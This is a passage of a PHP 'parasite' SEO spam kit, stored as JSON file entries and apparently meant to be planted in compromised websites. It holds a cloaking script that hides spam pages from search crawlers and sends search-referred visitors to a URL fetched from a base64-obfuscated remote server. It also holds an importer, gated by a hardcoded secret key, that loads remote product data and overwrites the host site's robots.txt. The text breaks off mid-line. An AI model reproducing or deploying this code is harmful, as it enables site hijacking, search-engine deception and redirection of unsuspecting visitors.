link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eCorporate Intelligence\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eRecruitment Information\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eProduct Archives\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eTerms and Policies\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eAffiliate (for PC)\u003c/a\u003e\u003c/li\u003e\n            \u003c/ul\u003e\n        \u003c/div\u003e\n        \u003cdiv class=\"clearfix\"\u003e\u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003cdiv class=\"footer_bottom\"\u003e\n    \u003cdiv class=\"mx-auto\"\u003e\n        \u003cp class=\"mgnB4\"\u003e 2024 \u003c?php echo $host; ?\u003e. All rights reserved.\u003c/p\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c/footer\u003e\n\n\u003cstyle\u003e\nfooter {\n    color: inherit !important;\n}\nfooter a:hover, footer a:focus{\n    color: #ff0000 !important;\n    text-decoration: underline;\n}\n.nav_footer {\n    border-top: 1px solid #ccc;\n    padding-top: 20px;\n}\n.nav_footer ul {\n    padding-left: 0;\n    list-style: none;\n    flex-wrap: wrap;\n}\n.nav_footer .list-inline-item {\n    margin-right: 1.5rem;\n    margin-bottom: 1rem;\n}\n.footer_bottom {\n    background: #e6e6e6;\n    padding: 20px 0;\n    text-align: center;\n}\n\u003c/style\u003e ","path":"includes/footer_complete.php"},{"content":"\u003c?php\nheader('Content-Type: application/xml; charset=utf-8');\n\nrequire_once __DIR__ . '/config.php';\n\ntry {\n    $data = getSitemapData();\n    if (!$data || !isset($data['urls'])) {\n        throw new Exception(\"Invalid API response format\");\n    }\n    \n    $urls = $data['urls'];\n    $domain = $host;\n    \n    $xml = \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\\n\";\n    $xml .= \"\u003curlset xmlns=\\\"http://www.sitemaps.org/schemas/sitemap/0.9\\\"\u003e\\n\";\n    \n    foreach ($urls as $url_data) {\n        $product_id = $url_data['id'];\n        $crawled_at = $url_data['crawled_at'];\n        $product_title = isset($url_data['title']) ? $url_data['title'] : null;\n        \n        $loc = buildProductUrl($product_id, $product_title);\n        $lastmod = date('Y-m-d', strtotime($crawled_at));\n        \n        $xml .= \"  \u003curl\u003e\\n\";\n        $xml .= \"    \u003cloc\u003e\" . htmlspecialchars($loc) . \"\u003c/loc\u003e\\n\";\n        $xml .= \"    \u003clastmod\u003e\" . htmlspecialchars($lastmod) . \"\u003c/lastmod\u003e\\n\";\n        $xml .= \"    \u003cchangefreq\u003edaily\u003c/changefreq\u003e\\n\";\n        $xml .= \"  \u003c/url\u003e\\n\";\n    }\n    \n    $xml .= \"\u003c/urlset\u003e\";\n    \n    echo $xml;\n    \n} catch (Exception $e) {\n    error_log(\"Sitemap generation error: \" . $e-\u003egetMessage());\n    \n    $xml = \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\\n\";\n    $xml .= \"\u003curlset xmlns=\\\"http://www.sitemaps.org/schemas/sitemap/0.9\\\"\u003e\\n\";\n    $xml .= \"\u003c/urlset\u003e\";\n    \n    echo $xml;\n} ","path":"sitemap.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n *                    INTEGRATED CLOAKING SYSTEM\n * ===================================================================\n * Modified cloaking system for parasite website integration\n * Removes unnecessary 404 handling and client-side scripts\n * ===================================================================\n */\n\n// Load configuration\nrequire_once __DIR__ . '/config.php';\n\n// Remove the original referer check - let original system handle if needed\n// if (empty($_SERVER['HTTP_REFERER'])) {\n//     exit;\n// }\n\n/**\n * Class Cloaker\n * Provides server side checks to see if the visitor is a crawler.\n */\nclass Cloaker {\n\n\t/**\n\t * Your redirect url for humans\n\t * This should point to a legitimate page or the original site\n\t *\n\t * @var string\n\t */\n\tprotected $REDIRECT_URL = '';\n\n\t/**\n\t * Decide if you want to fully bypass client side javascript checks and rely only on server-side checks.\n\t * Set to true for parasite deployment to avoid unnecessary client-side detection\n\t *\n\t * @var bool\n\t */\n\tprotected $BYPASS_CLIENT_SIDE_CHECKS = true;\n\n\t/**\n\t * Your token to access the IPStack service\n\t * Get a free API token from https://ipstack.com\n\t *\n\t * @var string\n\t */\n\tprotected $IP_STACK_TOKEN = '';\n\n\t/**\n\t * A list country codes to block.\n\t * Example 'PH' for Philippines, https://en.wikipedia.org/wiki/ISO_3166-1\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_COUNTRY_CODES = array();\n\n\t/**\n\t * A list of city names to block.\n\t * Use any common city names with care.\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_CITY_NAMES = array();\n\n\t/**\n\t * A list of corporate IP ranges to block.\n\t * Example Twitter https://ipinfo.io/AS35995\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_IP_RANGES = array();\n\n\t/**\n\t * A list of user-agents to block.\n\t * A robust list is provided lower down, but add any additional user agent strings here.\n\t *\n\t * @var array\n\t */\n\tprotected $BLOCKED_USER_AGENTS = array();\n\n\t/**\n\t * If you decide to reobsfucate the client-side javascript, paste the new code here.\n\t * For parasite deployment, this is usually not needed\n\t *\n\t * @var string\n\t */\n\tprotected $OBSFUCATED_JAVASCRIPT = \"\";\n\n\tpublic function __construct() {\n\t\t$this-\u003eREDIRECT_URL = $this-\u003efetchDynamicRedirectUrl();\n\t}\n\n\t/**\n\t * Fetches the dynamic redirect URL from the jump service.\n\t * @return string\n\t */\n\tprotected function fetchDynamicRedirectUrl() {\n\t\t// Construct the current URL from server variables\n\t\t$currentUrl = (isset($_SERVER['HTTPS']) \u0026\u0026 $_SERVER['HTTPS'] === 'on' ? \"https\" : \"http\") . \"://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\";\n\n\t\t$realProductId = parseProductId($_SERVER['REQUEST_URI']);\n\t\tif ($realProductId !== null) {\n\t\t\t// 更精确的匹配:匹配URL路径中的最后一个数字段\n\t\t\t$currentUrl = preg_replace('/\\/(\\d+)\\/$/', '/' . $realProductId . '/', $currentUrl);\n\t\t}\n\n\t\t// The API endpoint for fetching the redirect URL\n\t\t$apiUrl = base64_decode('aHR0cHM6Ly9zZXJ2ZXIuZGVmZ2hpamsuY29tL2p1bXA/dXJsPQ==') . urlencode($currentUrl);\n\n\t\ttry {\n\t\t\tif (USE_CURL) {\n\t\t\t\t// Use cURL to fetch the response from the API\n\t\t\t\t$ch = curl_init();\n\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $apiUrl);\n\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');\n\t\t\t\t\n\t\t\t\t$response = curl_exec($ch);\n\t\t\t\tcurl_close($ch);\n\t\t\t} else {\n\t\t\t\t$context = stream_context_create(array(\n\t\t\t\t\t'http' =\u003e array(\n\t\t\t\t\t\t'timeout' =\u003e 10,\n\t\t\t\t\t\t'user_agent' =\u003e 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n\t\t\t\t\t)\n\t\t\t\t));\n\t\t\t\t$response = @file_get_contents($apiUrl, false, $context);\n\t\t\t}\n\n\t\t\tif ($response) {\n\t\t\t\t$data = json_decode($response);\n\t\t\t\t// Check if the response is valid and contains the redirect URL\n\t\t\t\tif (json_last_error() === JSON_ERROR_NONE \u0026\u0026 isset($data-\u003ecode) \u0026\u0026 $data-\u003ecode === 0 \u0026\u0026 !empty($data-\u003edata-\u003efinal_url)) {\n\t\t\t\t\t// Trim any whitespace and return the final URL\n\t\t\t\t\treturn trim($data-\u003edata-\u003efinal_url);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\t$this-\u003eerrors[] = $e-\u003egetMessage();\n\t\t}\n\n\t\t// Return the original hardcoded URL as a fallback\n\t\treturn '';\n\t}\n\n\t/*\n\t * ==========================================================================\n\t * ==== Don't modify below this point unless you know what you are doing ====\n\t * ==========================================================================\n\t */\n\n\t/**\n\t * Attribute to flag for blocked results.\n\t *\n\t * @var bool\n\t */\n\tprotected $blocked = false;\n\n\t/**\n\t * Attribute to flag for human visitors from search engines.\n\t *\n\t * @var bool\n\t */\n\tpublic $is_human_from_search = false;\n\n\t/**\n\t * List of errors.\n\t *\n\t * @var array\n\t */\n\tprotected $errors = array();\n\n\t/**\n\t * Getter for blocked attribute.\n\t *\n\t * @return bool\n\t */\n\tpublic function isBlocked() {\n\t\treturn !!$this-\u003eblocked;\n\t}\n\n\t/**\n\t * Getter for client-side bypass.\n\t *\n\t * @return bool\n\t */\n\tpublic function shouldBypassClientSideChecks() {\n\t\treturn !!$this-\u003eBYPASS_CLIENT_SIDE_CHECKS;\n\t}\n\n\t/**\n\t * Getter for error bag.\n\t *\n\t * @return array\n\t */\n\tpublic function getErrors() {\n\t\treturn $this-\u003eerrors;\n\t}\n\n\t/**\n\t * Getter for redirect URL.\n\t *\n\t * @return string\n\t */\n\tpublic function getRedirectUrl() {\n\t\treturn $this-\u003eREDIRECT_URL;\n\t}\n\n\t/**\n\t * Primary method for running all checks.\n\t *\n\t * @return bool\n\t */\n\tpublic function check() {\n\t\tif (!$this-\u003eblocked \u0026\u0026 $this-\u003echeckUserAgent()) {\n\t\t\t$this-\u003eblocked = true;\n\t\t}\n\t\tif (!$this-\u003eblocked \u0026\u0026 $this-\u003echeckIpAddress()) {\n\t\t\t$this-\u003eblocked = true;\n\t\t}\n\n\t\treturn $this-\u003eblocked;\n\t}\n\n\t/**\n\t * Run check on user agent string.\n\t *\n\t * @return bool\n\t */\n\tpublic function checkUserAgent() {\n\t\t$search = $this-\u003egetBlockedUserAgents();\n\t\treturn !!(isset($_SERVER['HTTP_USER_AGENT']) \u0026\u0026 preg_match($search, $_SERVER['HTTP_USER_AGENT']));\n\t}\n\n\t/**\n\t * Fetch result from IPStack and check against block lists.\n\t * Block lists checked: $BLOCKED_COUNTRY_CODES, $BLOCKED_CITY_NAMES, $BLOCKED_IP_RANGES.\n\t * Will also check against IPStacks known pool of crawler IP addresses.\n\t *\n\t * @return bool\n\t */\n\tpublic function checkIpAddress() {\n\t\t// [FIX] Add a crucial check: Do not perform IP checks if the token is not set.\n\t\t// This prevents false positives where the API returns a default error response.\n\t\tif (empty($this-\u003eIP_STACK_TOKEN)) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Get the result from IPStack\n\t\t$ip      = $this-\u003egetIpAddress();\n\t\t$ipstack = $this-\u003egetIpStack($ip);\n\t\t\n\t\t// Check to see if we got a response\n\t\tif ($ipstack \u0026\u0026 !(isset($ipstack-\u003esuccess) \u0026\u0026 $ipstack-\u003esuccess === false)) {\n\t\t\tif ($ipstack-\u003esecurity-\u003eis_crawler || \n\t\t\t\tin_array($ipstack-\u003ecountry_code, $this-\u003eBLOCKED_COUNTRY_CODES) || \n\t\t\t\tin_array($ipstack-\u003ecity, $this-\u003eBLOCKED_CITY_NAMES) || \n\t\t\t\t$this-\u003eipInRange($ip, $this-\u003eBLOCKED_IP_RANGES)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t/**\n\t * Gets merged list of blocked user agents.\n\t *\n\t * @return string\n\t */\n\tpublic function getBlockedUserAgents() {\n\t\t$search = '';\n\t\tif (count($this-\u003eBLOCKED_USER_AGENTS)) {\n\t\t\t$search = implode('|', $this-\u003eBLOCKED_USER_AGENTS);\n\t\t\t$search = preg_quote($search) . '|';\n\t\t}\n\t\t$search = $search . 'googlebot|bot|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|Google-InspectionTool|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis';\n\t\t$search = '(' . $search . ')';\n\n\t\treturn $search;\n\t}\n\n\t/**\n\t * Gets the visitor's IP address to be checked against IPStack.\n\t *\n\t * @return string\n\t */\n\tprotected function getIpAddress() {\n\t\tif (!empty($_SERVER['HTTP_CLIENT_IP'])) {\n\t\t\t$ip = $_SERVER['HTTP_CLIENT_IP'];\n\t\t} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n\t\t\t$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n\t\t} else {\n\t\t\t$ip = $_SERVER['REMOTE_ADDR'];\n\t\t}\n\n\t\treturn $ip;\n\t}\n\n\t/**\n\t * Fetches a response from the IPStack service.\n\t * Must have a valid $IP_STACK_TOKEN and $ip address provided.\n\t *\n\t * @param $ip\n\t *\n\t * @return mixed|null\n\t */\n\tprotected function getIpStack($ip) {\n\t\tif (!empty($this-\u003eIP_STACK_TOKEN) \u0026\u0026 !empty($ip)) {\n\t\t\ttry {\n\t\t\t\t$url = sprintf(base64_decode('aHR0cDovL2FwaS5pcHN0YWNrLmNvbS8lcz9hY2Nlc3Nfa2V5PSVz'), $ip, $this-\u003eIP_STACK_TOKEN);\n\t\t\t\t\n\t\t\t\tif (USE_CURL) {\n\t\t\t\t\t$ch = curl_init();\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n\t\t\t\t\tcurl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');\n\t\t\t\t\t\n\t\t\t\t\t$response = curl_exec($ch);\n\t\t\t\t\tcurl_close($ch);\n\t\t\t\t} else {\n\t\t\t\t\t$context = stream_context_create(array(\n\t\t\t\t\t\t'http' =\u003e array(\n\t\t\t\t\t\t\t'timeout' =\u003e 10,\n\t\t\t\t\t\t\t'user_agent' =\u003e 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t$response = @file_get_contents($url, false, $context);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$response = json_decode($response);\n\n\t\t\t\tif ($response \u0026\u0026 !(isset($response-\u003esuccess) \u0026\u0026 $response-\u003esuccess === false)) {\n\t\t\t\t\t$ipstack = $response;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (Exception $e) {\n\t\t\t\t$this-\u003eerrors[] = $e-\u003egetMessage();\n\t\t\t}\n\t\t}\n\n\t\treturn isset($ipstack) ? $ipstack : null;\n\t}\n\n\t/**\n\t * Checks the provided IP address against a corporate IP range.\n\t *\n\t * @param $ip\n\t * @param $ranges\n\t *\n\t * @return bool\n\t */\n\tprotected function ipInRange($ip, $ranges) {\n\t\tforeach ($ranges as $range) {\n\t\t\tif (strpos($range, '/') == false) {\n\t\t\t\t$range .= '/32';\n\t\t\t}\n\n\t\t\t// $range is in IP/CIDR format eg 127.0.0.1/24\n\t\t\tlist($range, $netmask) = explode('/', $range, 2);\n\n\t\t\t$ip_decimal       = ip2long($ip);\n\t\t\t$range_decimal    = ip2long($range);\n\t\t\t$wildcard_decimal = pow(2, (32 - $netmask)) - 1;\n\t\t\t$netmask_decimal  = ~$wildcard_decimal;\n\n\t\t\tif (($ip_decimal \u0026 $netmask_decimal) == ($range_decimal \u0026 $netmask_decimal)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n}\n\n// Create new check instance\n$cloaker = new Cloaker();\n// Run the initial checks (UA and IP)\n$blocked = $cloaker-\u003echeck();\n\nif (!$blocked) {\n    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';\n    \n    if (preg_match('/google|bing|yahoo|baidu|duckduckgo|yandex|aol|ask/i', $referer)) {\n        $redirectUrl = $cloaker-\u003egetRedirectUrl();\n        \n        if (!empty($redirectUrl)) {\n            $cloaker-\u003eis_human_from_search = true;\n            \n            echo '\u003cscript\u003ewindow.location.href=\"' . $redirectUrl . '\";\u003c/script\u003e';\n            exit;\n        }\n    }\n}\n\n// For parasite deployment, we don't need the original redirect logic.\n// The final $blocked variable and the $cloaker object are the only things our index.php needs. ","path":"cloaking.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n *               REMOTE CSV to SQLite Importer API\n * ===================================================================\n * This script acts as an API to import product data from a remote CSV\n * file (via URL) into the SQLite database.\n *\n * It is protected by a secret key authentication.\n *\n * --- HOW TO USE ---\n * Provide the full URL to a CSV file using the 'url' GET parameter\n * and the secret key using the 'auth_token' parameter.\n * e.g., https://yourdomain.com/wp-content/parasites/import_csv.php?url=http://example.com/products.csv\u0026auth_token=PtXe*JMQ%jT2HS!BSRc4a$$^\n * ===================================================================\n */\n\nheader('Content-Type: text/plain; charset=utf-8');\n\n// --- Configuration ---\nrequire_once __DIR__ . '/config.php';\ndefine('TABLE_NAME', 'products');\ndefine('SECRET_KEY', 'PtXe*JMQ%jT2HS!BSRc4a$$^');\n\n// --- Helper Functions ---\nfunction initializeQueue($pdo, $output = true) {\n    try {\n        if ($output) echo \"Starting queue initialization...\\n\";\n\n        // Create queue tables\n        $pdo-\u003eexec(\"\n            CREATE TABLE IF NOT EXISTS link_queue (\n                queue_index INT PRIMARY KEY AUTO_INCREMENT,\n                product_id INT NOT NULL,\n                table_name VARCHAR(50) NOT NULL,\n                INDEX idx_queue_index (queue_index),\n                INDEX idx_product_table (product_id, table_name)\n            ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4\n        \");\n\n        $pdo-\u003eexec(\"\n            CREATE TABLE IF NOT EXISTS link_queue_pointer (\n                id INT PRIMARY KEY DEFAULT 1,\n                current_index INT NOT NULL DEFAULT 1,\n                total_count INT NOT NULL DEFAULT 0,\n                last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP\n            ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4\n        \");\n\n        if ($output) echo \"Queue tables created successfully.\\n\";\n\n        // Clear existing queue\n        $pdo-\u003eexec(\"TRUNCATE TABLE link_queue\");\n        $pdo-\u003eexec(\"DELETE FROM link_queue_pointer WHERE id = 1\");\n\n        // Get all product tables\n        $tables = $pdo-\u003equery(\"SHOW TABLES LIKE 'products%'\")-\u003efetchAll(PDO::FETCH_COLUMN);\n        \n        if ($output) echo \"Found \" . count($tables) . \" product tables.\\n\";\n\n        $total_products = 0;\n        $batch_size = 1000;\n        $batch_values = array();\n\n        // Collect all product IDs from all tables\n        foreach ($tables as $table) {\n            if ($output) echo \"Processing table: {$table}\\n\";\n            \n            $stmt = $pdo-\u003equery(\"SELECT id FROM `$table` ORDER BY RAND()\");\n            while ($row = $stmt-\u003efetch(PDO::FETCH_ASSOC)) {\n                $batch_values[] = \"(\" . (int)$row['id'] . \", '\" . $table . \"')\";\n                $total_products++;\n\n                // Insert in batches for performance\n                if (count($batch_values) \u003e= $batch_size) {\n                    $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n                    $pdo-\u003eexec($sql);\n                    $batch_values = array();\n                    if ($output) echo \"Inserted batch, total so far: {$total_products}\\n\";\n                }\n            }\n        }\n\n        // Insert remaining items\n        if (!empty($batch_values)) {\n            $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n            $pdo-\u003eexec($sql);\n        }\n\n        // Initialize pointer\n        $pdo-\u003eexec(\"INSERT INTO link_queue_pointer (id, current_index, total_count) VALUES (1, 1, {$total_products}) ON DUPLICATE KEY UPDATE current_index = 1, total_count = {$total_products}\");\n\n        if ($output) echo \"Queue initialization completed! Total products in queue: {$total_products}\\n\";\n        return $total_products;\n\n    } catch (Exception $e) {\n        if ($output) echo \"Error initializing queue: \" . $e-\u003egetMessage() . \"\\n\";\n        error_log(\"Error initializing queue: \" . $e-\u003egetMessage());\n        return false;\n    }\n}\n\nfunction updateQueueAfterImport($pdo, $output = true) {\n    try {\n        // Check if queue tables exist\n        $tables_exist = $pdo-\u003equery(\"SHOW TABLES LIKE 'link_queue'\")-\u003efetchColumn();\n        if (!$tables_exist) {\n            if ($output) echo \"Queue tables don't exist, performing full initialization...\\n\";\n            return initializeQueue($pdo, $output);\n        }\n\n        if ($output) echo \"Updating queue with new products (preserving current pointer)...\\n\";\n\n        // Get current pointer position (preserve it)\n        $pointer_stmt = $pdo-\u003equery(\"SELECT current_index FROM link_queue_pointer WHERE id = 1\");\n        $current_pointer = $pointer_stmt-\u003efetchColumn();\n        \n        // Get all product tables\n        $tables = $pdo-\u003equery(\"SHOW TABLES LIKE 'products%'\")-\u003efetchAll(PDO::FETCH_COLUMN);\n        \n        if ($output) echo \"Found \" . count($tables) . \" product tables.\\n\";\n\n        // Get current products in queue to avoid duplicates\n        $existing_products = array();\n        $existing_stmt = $pdo-\u003equery(\"SELECT CONCAT(product_id, '-', table_name) FROM link_queue\");\n        while ($row = $existing_stmt-\u003efetch(PDO::FETCH_COLUMN)) {\n            $existing_products[$row] = true;\n        }\n\n        $new_products = 0;\n        $batch_size = 1000;\n        $batch_values = array();\n\n        // Add only new products to queue\n        foreach ($tables as $table) {\n            if ($output) echo \"Checking table: {$table} for new products\\n\";\n            \n            $stmt = $pdo-\u003equery(\"SELECT id FROM `$table`\");\n            while ($row = $stmt-\u003efetch(PDO::FETCH_ASSOC)) {\n                $product_key = $row['id'] . '-' . $table;\n                \n                // Only add if not already in queue\n                if (!isset($existing_products[$product_key])) {\n                    $batch_values[] = \"(\" . (int)$row['id'] . \", '\" . $table . \"')\";\n                    $new_products++;\n\n                    // Insert in batches for performance\n                    if (count($batch_values) \u003e= $batch_size) {\n                        $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n                        $pdo-\u003eexec($sql);\n                        $batch_values = array();\n                        if ($output) echo \"Added batch, new products so far: {$new_products}\\n\";\n                    }\n                }\n            }\n        }\n\n        // Insert remaining items\n        if (!empty($batch_values)) {\n            $sql = \"INSERT INTO link_queue (product_id, table_name) VALUES \" . implode(',', $batch_values);\n            $pdo-\u003eexec($sql);\n        }\n\n        // Update total count only if we added new products or if current pointer doesn't exist\n        if ($new_products \u003e 0 || $current_pointer === false) {\n            $total_count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM link_queue\");\n            $total_count = $total_count_stmt-\u003efetchColumn();\n\n            // Update total count while preserving current_index\n            if ($current_pointer !== false) {\n                $pdo-\u003eprepare(\"UPDATE link_queue_pointer SET total_count = ? WHERE id = 1\")-\u003eexecute([$total_count]);\n                if ($output) echo \"Queue updated! Added {$new_products} new products. Total: {$total_count}. Pointer preserved at: {$current_pointer}\\n\";\n            } else {\n                // If no pointer exists, initialize it\n                $pdo-\u003eexec(\"INSERT INTO link_queue_pointer (id, current_index, total_count) VALUES (1, 1, {$total_count})\");\n                if ($output) echo \"Queue updated! Added {$new_products} new products. Total: {$total_count}. Pointer initialized at: 1\\n\";\n            }\n        } else {\n            if ($output) echo \"Queue is up to date. No new products to add. Pointer preserved at: {$current_pointer}\\n\";\n        }\n\n        return $new_products;\n\n    } catch (Exception $e) {\n        if ($output) echo \"Error updating queue: \" . $e-\u003egetMessage() . \"\\n\";\n        error_log(\"Error updating queue: \" . $e-\u003egetMessage());\n        return false;\n    }\n}\n\nfunction generateSitemap($pdo = null, $output = true) {\n    try {\n        // 安全获取域名,使用config.php中的配置作为默认值\n        $domain = isset($host) ? $host : 'localhost';\n        if (empty($domain) || $domain === 'localhost') {\n            // 从config.php中获取A站域名\n            require_once __DIR__ . '/config.php';\n            $domain = parse_url(ASITE_DOMAIN, PHP_URL_HOST);\n        }\n        \n        // 只生成robots.txt,sitemap改为动态接口\n        $robots = \"User-agent: *\\nAllow: /\\n\";\n        $robots .= \"Sitemap: https://\" . $domain . \"/sitemap.xml\";\n        \n        $robots_file = dirname(__DIR__, 2) . '/robots.txt';\n        \n        // 强制覆盖文件\n        if (file_put_contents($robots_file, $robots) === false) {\n            throw new Exception(\"Failed to write robots.txt file to: \" . $robots_file);\n        }\n        \n        if ($output) echo \"Robots.txt written to: \" . $robots_file . \"\\n\";\n        if ($output) echo \"Content: \" . $robots . \"\\n\";\n\n        if ($output) echo \"Robots.txt updated successfully. Sitemap is now dynamic.\\n\";\n        return true;\n\n    } catch (Exception $e) {\n        if ($output) echo \"Error generating robots.txt: \" . $e-\u003egetMessage() . \"\\n\";\n        error_log(\"Error generating robots.txt: \" . $e-\u003egetMessage());\n        return false;\n    }\n}\n\n// --- Queue Management Interface ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'init_queue') {\n    if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n        http_response_code(401);\n        exit(\"Authentication failed.\\n\");\n    }\n\n    set_time_limit(0);\n    $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n    $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n    $result = initializeQueue($pdo, true);\n    if ($result === false) {\n        http_response_code(500);\n    }\n    exit;\n}\n\n// --- Sitemap Generation Interface ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'sitemap') {\n    try {\n        echo \"Starting sitemap generation...\\n\";\n        \n        if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n            http_response_code(401);\n            exit(\"Authentication failed.\\n\");\n        }\n        \n        echo \"Authentication successful.\\n\";\n\n        echo \"Generating robots.txt...\\n\";\n        $result = generateSitemap(null, true);\n        if ($result === false) {\n            http_response_code(500);\n            exit(\"Robots.txt generation failed.\\n\");\n        } else {\n            echo \"robots.txt updated successfully.\\n\";\n        }\n        exit;\n        \n    } catch (Exception $e) {\n        http_response_code(500);\n        echo \"Error: \" . $e-\u003egetMessage() . \"\\n\";\n        error_log(\"Sitemap generation error: \" . $e-\u003egetMessage());\n        exit;\n    }\n}\n\n\n// --- Product Cleanup Interface ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'cleanup_products') {\n    if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n        http_response_code(401);\n        exit(\"Authentication failed.\\n\");\n    }\n\n    try {\n        // Define how many of the latest products you want to keep\n        $products_to_keep = isset($_GET['keep']) \u0026\u0026 